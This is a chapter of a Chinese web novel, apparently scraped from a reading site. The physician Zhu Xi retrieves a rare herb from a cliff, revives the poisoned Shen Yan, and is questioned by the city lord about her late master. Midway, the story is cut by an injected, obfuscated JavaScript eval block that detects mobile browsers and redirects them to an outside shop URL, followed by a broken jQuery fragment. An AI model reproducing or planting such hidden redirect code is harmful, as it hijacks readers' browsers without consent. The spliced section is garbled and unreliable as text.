看清祝溪要做什么肖瑛一瞬间被她吓得肝胆俱裂,也忘了自己在哪跟着就冲上去一把薅住半个身子跃出断崖的祝溪拼命把她扯了回来。
“你做什么?不要命了?!”肖瑛把祝溪拖了回来,就这么瞬间发生的事给她惊出了一身的冷汗,心里不住后怕,这个祝大夫看着跟邻家阿妹似的聪明可爱,怎么行起事来如此不管不顾。
祝溪充耳不闻肖瑛的斥责,一心只惦记着刚才火把照亮的地方,高兴说:“肖姑娘,我看见了,灯尾草就在崖下。”
就在峭壁之上。
天降破晓时分,祝溪带着灯尾草和肖瑛共乘一骑匆匆赶回了城主府。
肖重山看见女儿身上好几处糊上了鲜血,尤其是小臂出的血迹更多,洇在布料上的血还没有干透,“怎么了这是受伤了?”
“不是我,是祝大夫受了伤。”肖瑛推开碍事的老父就要跟着祝溪去忙活,被自家老父拦下:“你跟着去添什么乱,有这么多府医帮忙呢。”
肖瑛这才反应过来他们现在回了城主府,煎药一事得他们当大夫的去忙活,她帮不上什么忙,只有怔怔地被肖城主拉开给大夫们让路。
几个大夫一通忙活把父女俩堵在廊下进也不是退也不是,只得先缩在角落里尽量不让自己碍事,肖瑛垂眸盯着自己的脚尖看,突然指着地上星星点点的血迹大喊一声:“祝大夫,你先把手上的伤包扎一下!”
那是祝溪为了摘取灯尾草不顾肖瑛劝阻执意自己攀上断崖峭壁,在伸手不见五指的崖壁上摩挲药草时被山崖的巨石在手臂上划出了一道颇深的口子。
地上隔着一小段距离就有一滴刚滴下来的血,祝溪听见肖瑛的提醒却连车块布给自己包扎的时间都没有,她快速报了一连串的药名让几个帮忙的府医取了药材来煎。
趁着这个间隙她把灯尾草小心翼翼的淅出几滴药汁,将其倒入药汁中一并煎煮了端给沈砚服下,看着沈砚把碗里的药汁一滴不剩的服下后祝溪悬在嗓子眼的心总算落了些。
祝溪守着沈砚整整一日一夜,诊着他的脉从近乎停止到有了微弱跳动,直到恢复如常人一般正常有力的跳动后她才算彻底松了气。
药虽然见效了,但沈砚尚未转醒还需人守着,祝溪便趴在桌子上支着脑袋盯着床榻上的沈砚看,一连几天没有休息好,脑子里的弦骤然一松困倦便涌上心头,盯着盯着祝溪只觉眼皮越来越沉。
半梦半醒之际,恍惚听见杯盏磕碰的声音,祝溪一下被惊醒才惊觉自己不知何时趴在桌子上睡着了,梦中杯盏磕碰的声音正是已经醒了的沈砚竟自己下了床走到桌子边倒水。
只是沈砚大病一场浑身软绵绵的没有气力,一时失力没能拎起蓄满了水的茶壶,不仅没喝到水反倒惊醒了睡得正沉的祝溪。
“要喝水?我给你倒。”祝溪把沈砚扶到床上让他靠在软枕上坐着,倒了杯水给他:“醒了怎么不叫我?”
沈砚身上的毒只是暂且压制尚未平复,不好好静养万一出了什么岔子她可找不出第二棵灯尾草来救命。
沈砚声音虚弱:“见你睡着,便没有出声。”
其实是他醒了后口干舌燥喉咙里像含了个刀片,哑着嗓子喊了几声没有人应,他以为房间里没有人这才撑着身子起身去倒水,起来后才发现祝溪趴在桌子上睡着了。
看着沈砚喝完水后祝溪让他继续躺好给他号脉,吃了药只是一夜的功夫从脉象上来看沈砚已是恢复了七七八八,“长恨”这个毒就是这样,毒发时顷刻便能要了你的命,把它压制下去后它又老老实实缩在身体里,毒性看似平息了实则一寸一寸的蚕食着中毒者的身体。
它能让中毒者外表看起来与常人无异,只有中毒者自己才能清晰的意识到自己的身体一日不如一日,一日比一日衰弱却又无可奈何,只得看着自己离死亡越来越近什么也做不得。
祝溪:“你这毒需要把三味药都吃了才能解,你已经服下了灯尾草,不要擅动内力最近三个月是不会有事的。”
沈砚点点头,目光一凝瞥见了祝溪衣袖下缠着的绷带,轻声问:“那些山匪伤了你?”
他记得自己要去城中帮城主剿匪,想着别再连累到祝溪便把她送到安全的地方借口让她去找救兵,她怎么赶来的如此快,还真把救兵带来了。
闻言祝溪把手随意甩了甩,没打算把这口锅扣在山匪的头上:“不是,是我上山找药的时候不慎划伤了,一点小伤而已,我在南山采药的时候经常这样。”所以没必要刚醒就露出要砍人脑袋的眼神,祝溪看着勾起了不好的回忆心里直发毛。
听见不是山匪伤的后沈砚收回视线,眼睛盯着上方的帷帐出神,耳边隐约听见祝溪喊他,他这才回神跟祝溪道了声谢。
祝溪看见他刚醒就盯着帷帐出神,以为他是有哪里不舒服,刚喊了他几声冷不丁听见他跟自己道谢,这一下反倒让祝溪怔愣一瞬。
她把手心贴在沈砚额头上,又重新诊了一下脉,心想这不会是犯了癔症吧,醒来竟然不威胁自己“治不好我我就砍了你的脑袋”反倒跟自己道谢。
沈砚偏头躲开她的手心,面色不善的看着她,祝溪忙把手背在身后,解释道:“别误会,我只是想看看你是不是还在犯迷糊,这会你醒了那我就出去跟肖城主他们说一声。”
祝溪合上门心中啧啧叹气,这人刚才果然是犯迷糊,瞧瞧刚才那眼神,恨不能吃了自己。还好自己不是因为发善心才救的他,不然还不得被他气死。
外头天光大亮,祝溪想睡也睡不成了,干脆去药房里抓些药放在药炉上熬制,蒲扇左右轻轻摇晃着,药房中蔓延开来的苦涩药味和炉子下燃得噼啵作响的柴火味混合在一起催人欲睡。
“啪嗒——”
蒲扇从手里掉落在地上的声音将祝溪满头的瞌睡赶走,她一抬头就看见走到跟前肖重山。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370994|199900||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
祝溪左右看了一眼发现整个药房除了她再无别人,她站起身问可是沈砚出了什么事。
肖重山:“肖某来找姑娘一来是为了感谢姑娘替我山城百姓及时带来郑将军这些救兵,二来是想向姑娘打听尊师近来可好,此番怎么没有和你们一起下山啊?”
在南山的时候程九跟祝溪提过他在山下的朋友是山城的城主,甚至还带自己来过一次山城,不过那次是为了带着祝溪找药,正巧肖重山也不在城中,是以祝溪不曾见过肖重山。
此番来这是为了给沈砚找灯尾草,并不希望在此地多做停留节外生枝,是以知道肖重山就是山城城主后祝溪也没有表明自己是故人之徒的身份。
只是师父昔日旧友都找到自己问起师父的近况,祝溪也只好道:“劳烦肖城主记挂,只是家师三年前便已病逝。”
“病逝了?!”
骤闻旧友噩耗,肖重山面对一众山匪时眼睛都不眨一下的汉子眼圈却是红了,他哽咽一下,道:
“令师不仅是我的朋友更是我山城百姓的恩人啊,若不是他我山城百姓怎能使得药王山上的一众草药,早知如此五年前你师父带着你来药王山的时候我说什么也要赶回来再见上他一面。”
祝溪终于听到了先前肖城主对着自己没来得及说的旧事,二十年前师父程九游历江湖途径山城,彼时的山城虽然拥有药王山这座得天独厚的药山,可惜城中无人识得山上的草药,仅有的几个大夫也只略识得些寻常的药草罢了,对药王山的珍贵一无所知。
程九路过见这里的百姓空有一座宝山却不会用,便留在此地三年带着这里的百姓识得山上的药材药性,教他们如何制药,也因此和肖重山成了朋友。
“师父生前也一直记挂着城主,时常与我提起您。”
肖重山:“那你为何不告诉沈公子你曾来过药王山?”
除了他和已经去世的程九没有人知道祝溪来过药王山,肖瑛还私下里对自己说祝大夫有些可疑,明明说自己没有来过药王山,却知道一条只有经常上山的人才知道的一条偏僻小路。
不过这几日肖瑛一心只有祝大夫和沈公子救了山城百姓,这件“可疑”的事早就被她抛到了九霄云外。
祝溪当然不能将实话告诉肖重山,于是眼珠子一转,编了一个瞎话:
“沈砚好像跟师父有些渊源,师父临终前只命我给他治伤旁的事一个字都不许提。是以我才没有告诉他我来过药王山,还望肖城主看在这是我师父遗愿的份上不要将此事告诉沈砚。”
“既是程九兄的遗愿,那我自当遵从,只是还有一件事……”
肖重山从故友离世的悲伤中抽离,看着祝溪正色问:“郑将军同我说他们是看到有人燃放只有军中才会使用的通传信息的烟雾着急赶来,如此才能在山匪破城之时及时赶到。”
“郑将军说,那烟雾是你燃放的?”